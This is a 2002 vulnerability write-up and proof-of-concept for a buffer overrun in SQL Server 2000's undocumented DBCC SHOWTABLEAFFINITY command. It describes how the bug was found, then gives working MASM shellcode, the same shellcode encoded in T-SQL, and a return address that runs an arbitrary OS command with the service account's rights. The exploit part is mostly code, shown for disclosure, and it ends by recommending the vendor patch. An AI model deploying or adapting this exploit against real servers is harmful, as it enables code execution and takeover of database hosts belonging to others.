DBCC SHOWTABLEAFFINITY BUFFER OVERRUN

Author: Martin Rakhmanoff, jimmers@yandex.ru
Date created: 27 August 2002

Abstract

I've written this article to (better) document process of finding and exploiting buffer overrun bugs. Provided sample code is written for Microsoft SQL Server 2000 Enterprise Edition (English) , version 8.00.665 (Service Pack 2 plus patch 667 released 14 August 2002). I assume that SQL Server runs as service.

Problem description

Undocumented command DBCC SHOWTABLEAFFINITY('table') contains exploitable buffer overrun. Vulnerable software includes Microsoft SQL Server 2000 up to and including version 8.00.665 and all versions of Microsoft SQL Server 7. To exploit this issue one must be able to login into SQL Server and issue T -SQL commands against the RDBMS. When DBCC SHOWTABLEAFFINITY is called with parameter set to 1809 (1917 for version SQL Server 7) symbols, MSSQLSERVER service crashes and (if exploit was thoroughly crafted) attacker's code is executed in context of account used to start SQL Server service. After crash SQL Server error logs won't contain any records about the failure. Windows Event Log will contain log entry about unexpected termination of MSSQLSERVER service. Due to SQL Server architecture server administrators cannot selectively set permissions on DBCC commands, so it is not possible to prevent users from calling this command. At the same time, some DBCC command are protected from being called by ordinal database users.

How the bug was found

I've started study of DBCC commands with dump of strings in *sqlservr.exe* file. I've used *strings.exe* from www.sysinternals.com site:

```
...\MSSQL\Binn\strings.exe sqlservr.exe > sqlservr.log
```

Along with other information, strings dump contains all DBCC commands, including undocumented ones, with expected parameters list:

```
…
('dbname', {textpointer | {fileid, pageid, slotid [,option]}})
(table)
showtext
showtableaffinity
showonrules
[(file_num)]
…
```

With help of Books Online, Internet search engines and trial-and-error approach it is possible to match each command and its parameters (if command accepts parameters, of course). Another way is to disassemble *sqlservr.exe* image and figure out those mappings but it is not so easy as using *strings*.

Next step is to call each DBCC that accepts string parameter(s) with overly long data until error of some kind happens. After few checks I've found one that crashes MSSQLSERVER service:

```
DBCC SHOWTABLEAFFINITY(table)
```

SQL Server can be started as console application under debugger (e.g. Microsoft WinDbg) so it is easy to trace its execution flow. I've started with 1809 bytes (that value of symbols overwrites two bytes in EBP) and this provided me with address of code where execution continues. Tracing it back in disassembler (IDA Pro), I've found buggy function: CheckTableAffinity(…). It never returns control when an overly large string is passed as a one of its arguments. Using *dia2dump .exe* sample tool from DIA SDK and *sqlservr.pdb*, we can get this information:

```
addr: 0x0051E06A symbol: ?CheckTableAffinity@@YAHPAGHHHHH@Z
```

Using *undname.exe* tool from Platform SDK we can translate decorated name and parameters information into "human-readable" form:

```
int __cdecl CheckTableAffinity(unsigned short *,int,int,int,int,int)
```

First parameter is a pointer to buffer where 'table' parameter is stored. Code inside CheckTableAffinity creates class CTabAff (calls its constructor), calls method `CTabAff::Check` and finally calls destructor `CTabAff::~CTabAff` (I've omitted exception handling code). Upon exit from `CTabAff::Check` EBP register is corrupted if the method is called with overly long first parameter. At exit from CheckTableAffinity, register ESP contains address of buffer that holds 'table' string and EIP can be chosen by attacker. At this point we may stop, because we've enough information to write proof-of-concept exploit.

Proof-of-concept exploit

Exploit will be coded in T-SQL language, so anyone who can issue SQL queries can check whether particular SQL Server is vulnerable. Also we'll focus on Microsoft SQL Server 2000 version 8.00.665. On version Microsoft SQL Server 7 (without service packs) size of vulnerable buffer is different and *sqlservr.exe* image doesn't import **CreateProcessW** function used in our exploit code, but attacker can get address of any function in any loaded module with help of **GetProcAddress**. This makes exploit little harder to code but still possible. Argument that will be passed to DBCC SHOWTABLEAFFINITY is a Unicode string that has the following layout in exploit context:

- **CODE** – area with actual processor instructions
- **COMMAND_STRING** – unicode string up to 36 symbols that is used as second parameter to **CreateProcessW**
- **STARTUPINFO** & **PROCESS_ INFORMATION** – structures used by **CreateProcessW**
- **PADDING** – dummy bytes used to pad remaining space

As usual for buffer overrun exploits, we need to escape two subsequent nulls (zeros) in string that will be passed to DBCC, so the one of the first things exploit code should do is to null-terminate COMMAND_STRING and make proper changes in STARTUPINFO and PROCESS_INFORMATION structures by patching some bytes in memory. COMMAND_STRING will contain OS command passed by user padded with spaces to make length of COMMAND_STRING constant in size. STARTUPINFO has its first member (size of structure) filled with value 0x44444444 (0x44 is decimal 68, i.e. sizeof(STARTUPINFO)), so we need to zero the member except low byte.

Code that can be compiled with MASM is shown below.

```
       extrn __imp__ExitProcess@4:dword
ExitProcess equ __imp__ExitProcess@4
       extrn __imp__CreateProcessW@40:dword
CreateProcess equ __imp__CreateProcessW@40

       .386
       .model flat
       .code

_start:
       int 3 ; for debugging, replace with NOP in real world
       mov edx, [esp] ; EDX will point to start of buffer (ESP will change...)
       xor ebx, ebx
       xor eax, eax
       add ax, 9Eh ; 86(CODE) + 36*2(COMMAND_STRING)
       add eax, edx ; EAX points to COMMAND STRING null terminator
       mov WORD PTR [eax] , bx ; null-terminate our COMMAND STRING
       add eax, 4h ; EAX now points to high word of STARTUPINFO.cb
       mov WORD PTR [eax] , bx ; zero out high word...
       add eax, 2h
       mov DWORD PTR [eax] , ebx ; STARTUPINFO.lpReserved = NULL
       add eax, 4h
       mov DWORD PTR [eax] , ebx ; STARTUPINFO.lpDesktop = NULL
       add eax, 4h
       mov DWORD PTR [eax] , ebx ; STARTUPINFO.lpTitle = NULL
       add eax, 20h
       mov DWORD PTR [eax] , ebx ; STARTUPINFO.dwFlags = 0
       add eax, 6h
       mov WORD PTR [eax] , bx ; STARTUPINFO.cbReserved2 = 0
       add eax, 2h
       mov DWORD PTR [eax] , ebx ; STARTUPINFO.lpReserved2 = NULL
       add eax, 10h
       push eax ; PROCESS_INFORMATION
       sub eax, 44h ; STARTUPINFO
       push eax
       push ebx
       push ebx
       push ebx
       push ebx
       push ebx
       push ebx
       add edx, 56h ; sizeof(CODE)
       push edx
       push ebx
       call CreateProcess ; Replace this and ExitProcess opcodes with IAT entries?
       push ebx
       call ExitProcess
end _start
```

To compile use this batch:

```
ml /c /coff dbccexp.asm
link /subsystem:console /defaultlib:kernel32.lib dbccexp.obj
```

Using hexadecimal editor like HIEW it is easy to cut and save hex dump from produced executable and use it in the following T-SQL exploit code:

```
/*
** Proof-of-concept exploit for Microsoft SQL Server 2000 - 8.00.665
** DBCC SHOWTABLEAFFINITY buffer overrun
**
** Creates process in context of SQL Server startup account
** and writes to file dbccsta.log if proper permissions exist
**
** PLEASE NOTE THAT THIS IS ONLY PROOF-OF-CONCEPT CODE SUPPLIED FOR
** DEMONSTRATION OF VULNERABILITY ONLY
**
** Martin Rakhmanoff
** jimmers@yandex.ru
** 2:17 PM 8/27/2002
**
*/
declare @table nvarchar(2000)

SET @table =
-- This is simple code that calls CreateProcessW & ExitProcess
-- I've tried to use _endthread to keep SQL Server running but
-- DBCC command seems to be running in vital for the service
-- thread, so after exploiting (with _endthread) service is unusable
nchar(0x8B90) + nchar(0x2414) + nchar(0xDB33) + nchar(0xC033) +
nchar(0x0566) + nchar(0x009E) + nchar(0xC203) + nchar(0x8966) +
nchar(0x8318) + nchar(0x04C0) + nchar(0x8966) + nchar(0x8318) +
nchar(0x02C0) + nchar(0x1889) + nchar(0xC083) + nchar(0x8904) +
nchar(0x8318) + nchar(0x04C0) + nchar(0x1889) + nchar(0xC083) +
nchar(0x8920) + nchar(0x8318) + nchar(0x06C0) + nchar(0x8966) +
nchar(0x8318) + nchar(0x02C0) + nchar(0x1889) + nchar(0xC083) +
nchar(0x5010) + nchar(0xE883) + nchar(0x5044) + nchar(0x5353) +
nchar(0x5353) + nchar(0x5353) + nchar(0xC283) + nchar(0x5256) +
nchar(0xFF53) + nchar(0x3015) + nchar(0x9811) + nchar(0x5300) +
nchar(0x15FF) + nchar(0x1114) + nchar(0x0098)

-- File dbccsta.log will be in %SystemRoot%\System32
+ N'cmd /C echo vulnerable > dbccsta.log'
+ nchar(0xffff) -- null terminator
+ nchar(0x0044)+ nchar(0x4444) -- cb in STARTUPINFO
+ REPLICATE(N'A', 1728) -- 1728 = 1812-43-36-1-2-2
-- Address of jmp [esp] inside sqlservr.exe
-- Maybe call [esp] too, but assembly code should be modified then.
+ nchar(0x5ab6) + nchar(0x006e)
-- actually exploit the bug
DBCC SHOWTABLEAFFINITY(@table)
GO
```

Resolution

Install vendor-supplied patch.